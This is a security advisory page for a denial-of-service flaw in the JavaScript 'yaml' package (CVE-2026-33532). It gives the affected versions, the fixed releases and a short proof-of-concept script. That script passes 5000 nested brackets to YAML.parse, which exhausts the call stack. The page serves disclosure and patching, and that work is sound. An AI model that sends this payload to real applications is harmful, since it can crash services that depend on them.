Uncontrolled Recursion Affecting yaml package, versions >=1.0.0 <1.10.3>=2.0.0 <2.8.3


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.03% (8th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncontrolled Recursion vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-YAML-15765520
  • published26 Mar 2026
  • disclosed25 Mar 2026
  • creditkq5y, Peak Twilight

Introduced: 25 Mar 2026

CVE-2026-33532  (opens in a new tab)
CWE-674  (opens in a new tab)

How to fix?

Upgrade yaml to version 1.10.3, 2.8.3 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion in the compose/resolve phase due to using recursive function calls without a depth bound. An attacker can cause the application to throw a RangeError and potentially terminate the Node.js process by supplying a deeply nested YAML payload that exhausts the call stack.

PoC

const YAML = require('yaml');

// ~10 KB payload: 5000 levels of nested flow sequences
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);

try {
  YAML.parse(payload);
} catch (e) {
  console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
  console.log(e.message);          // Maximum call stack size exceeded
}

CVSS Base Scores

version 4.0
version 3.1